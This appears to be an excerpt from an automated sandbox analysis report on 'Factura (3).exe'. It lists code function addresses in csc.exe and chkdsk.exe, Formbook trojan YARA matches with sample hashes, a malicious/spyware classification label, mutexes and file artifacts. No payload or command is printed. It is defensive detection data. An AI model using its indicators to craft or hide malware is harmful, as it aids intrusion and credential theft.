Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00401200	14_2_00401200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00404B97	14_2_00404B97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00402BA0	14_2_00402BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0042D543	14_2_0042D543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0040FD33	14_2_0040FD33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0041661E	14_2_0041661E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00416623	14_2_00416623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004026AE	14_2_004026AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00401EB0	14_2_00401EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004026B0	14_2_004026B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00403750	14_2_00403750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0040FF53	14_2_0040FF53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0040DFCA	14_2_0040DFCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0040DFD3	14_2_0040DFD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0535	14_2_053B0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05467571	14_2_05467571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05470591	14_2_05470591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544D5B0	14_2_0544D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05462446	14_2_05462446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A1460	14_2_053A1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546F43F	14_2_0546F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545E4F6	14_2_0545E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0770	14_2_053B0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D4750	14_2_053D4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546F7B0	14_2_0546F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AC7C0	14_2_053AC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054616CC	14_2_054616CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CC6E0	14_2_053CC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547B16B	14_2_0547B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A0100	14_2_053A0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539F172	14_2_0539F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E516C	14_2_053E516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544A118	14_2_0544A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054681CC	14_2_054681CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BB1B0	14_2_053BB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054701AA	14_2_054701AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545F0CC	14_2_0545F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546F0E0	14_2_0546F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054670E9	14_2_054670E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B70C0	14_2_053B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546A352	14_2_0546A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546132D	14_2_0546132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0539D34C	14_2_0539D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054703E6	14_2_054703E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053F739A	14_2_053F739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BE3F0	14_2_053BE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05450274	14_2_05450274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B52A0	14_2_053B52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_054512ED	14_2_054512ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CB2C0	14_2_053CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05461D5A	14_2_05461D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05467D73	14_2_05467D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BAD00	14_2_053BAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B3D40	14_2_053B3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C8DBF	14_2_053C8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AADE0	14_2_053AADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CFDC0	14_2_053CFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0C00	14_2_053B0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05429C32	14_2_05429C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546FCF2	14_2_0546FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A0CF2	14_2_053A0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05450CB5	14_2_05450CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05424F40	14_2_05424F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053D0F30	14_2_053D0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053F2F28	14_2_053F2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546FF09	14_2_0546FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B1F92	14_2_053B1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BCFE0	14_2_053BCFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053A2FC8	14_2_053A2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546FFB1	14_2_0546FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546EE26	14_2_0546EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B0E59	14_2_053B0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B9EB0	14_2_053B9EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546EEDB	14_2_0546EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C2E90	14_2_053C2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546CE93	14_2_0546CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053C6962	14_2_053C6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B9950	14_2_053B9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CB950	14_2_053CB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B29A0	14_2_053B29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0547A9A6	14_2_0547A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0541D800	14_2_0541D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053BA840	14_2_053BA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B2840	14_2_053B2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053968B8	14_2_053968B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053DE8F0	14_2_053DE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053B38E0	14_2_053B38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546AB40	14_2_0546AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546FB76	14_2_0546FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05466BD7	14_2_05466BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053CFB80	14_2_053CFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053EDBF9	14_2_053EDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05467A46	14_2_05467A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546FA49	14_2_0546FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05423A6C	14_2_05423A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0545DAC6	14_2_0545DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053F5AA0	14_2_053F5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053AEA80	14_2_053AEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0544DAAC	14_2_0544DAAC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F0535	23_2_053F0535
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A7571	23_2_054A7571
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054B0591	23_2_054B0591
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0548D5B0	23_2_0548D5B0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A2446	23_2_054A2446
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053E1460	23_2_053E1460
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AF43F	23_2_054AF43F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0549E4F6	23_2_0549E4F6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05414750	23_2_05414750
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F0770	23_2_053F0770
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AF7B0	23_2_054AF7B0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053EC7C0	23_2_053EC7C0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A16CC	23_2_054A16CC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0540C6E0	23_2_0540C6E0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054BB16B	23_2_054BB16B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0542516C	23_2_0542516C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053E0100	23_2_053E0100
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053DF172	23_2_053DF172
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0548A118	23_2_0548A118
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A81CC	23_2_054A81CC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053FB1B0	23_2_053FB1B0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054B01AA	23_2_054B01AA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0549F0CC	23_2_0549F0CC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A70E9	23_2_054A70E9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AF0E0	23_2_054AF0E0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F70C0	23_2_053F70C0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AA352	23_2_054AA352
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A132D	23_2_054A132D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053DD34C	23_2_053DD34C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054B03E6	23_2_054B03E6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053FE3F0	23_2_053FE3F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0543739A	23_2_0543739A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05490274	23_2_05490274
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0540B2C0	23_2_0540B2C0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F52A0	23_2_053F52A0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054912ED	23_2_054912ED
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A1D5A	23_2_054A1D5A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A7D73	23_2_054A7D73
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053FAD00	23_2_053FAD00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F3D40	23_2_053F3D40
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0540FDC0	23_2_0540FDC0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053EADE0	23_2_053EADE0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05408DBF	23_2_05408DBF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F0C00	23_2_053F0C00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05469C32	23_2_05469C32
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AFCF2	23_2_054AFCF2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053E0CF2	23_2_053E0CF2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05490CB5	23_2_05490CB5
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05464F40	23_2_05464F40
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AFF09	23_2_054AFF09
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05432F28	23_2_05432F28
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05410F30	23_2_05410F30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F1F92	23_2_053F1F92
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053FCFE0	23_2_053FCFE0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053E2FC8	23_2_053E2FC8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AFFB1	23_2_054AFFB1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F0E59	23_2_053F0E59
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AEE26	23_2_054AEE26
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F9EB0	23_2_053F9EB0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AEEDB	23_2_054AEEDB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05402E90	23_2_05402E90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054ACE93	23_2_054ACE93
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0540B950	23_2_0540B950
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05406962	23_2_05406962
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F9950	23_2_053F9950
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F29A0	23_2_053F29A0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054BA9A6	23_2_054BA9A6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053FA840	23_2_053FA840
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F2840	23_2_053F2840
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053D68B8	23_2_053D68B8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0541E8F0	23_2_0541E8F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053F38E0	23_2_053F38E0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AAB40	23_2_054AAB40
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AFB76	23_2_054AFB76
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A6BD7	23_2_054A6BD7
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0542DBF9	23_2_0542DBF9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0540FB80	23_2_0540FB80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054AFA49	23_2_054AFA49
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054A7A46	23_2_054A7A46
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05463A6C	23_2_05463A6C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0549DAC6	23_2_0549DAC6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_053EEA80	23_2_053EEA80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05435AA0	23_2_05435AA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0548DAAC	23_2_0548DAAC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00761110	23_2_00761110
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_007511A4	23_2_007511A4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075C340	23_2_0075C340
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075C560	23_2_0075C560
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075A5E0	23_2_0075A5E0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0075A5D7	23_2_0075A5D7
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00779B50	23_2_00779B50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00762C30	23_2_00762C30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00762C2B	23_2_00762C2B

Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0545EA12 appears 84 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0546F290 appears 105 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 053DB970 appears 266 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 05425130 appears 36 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 05437E54 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 0541EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 053F7E54 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 0539B970 appears 268 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 0542F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: String function: 053E5130 appears 36 times

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7492 -s 2236

Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F04000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@17/15@15/9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7492
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03

Source: C:\Users\user\Desktop\Factura (3).exe

File created: C:\Users\user\AppData\Local\Temp\file-22993.putik

Source: Factura (3).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

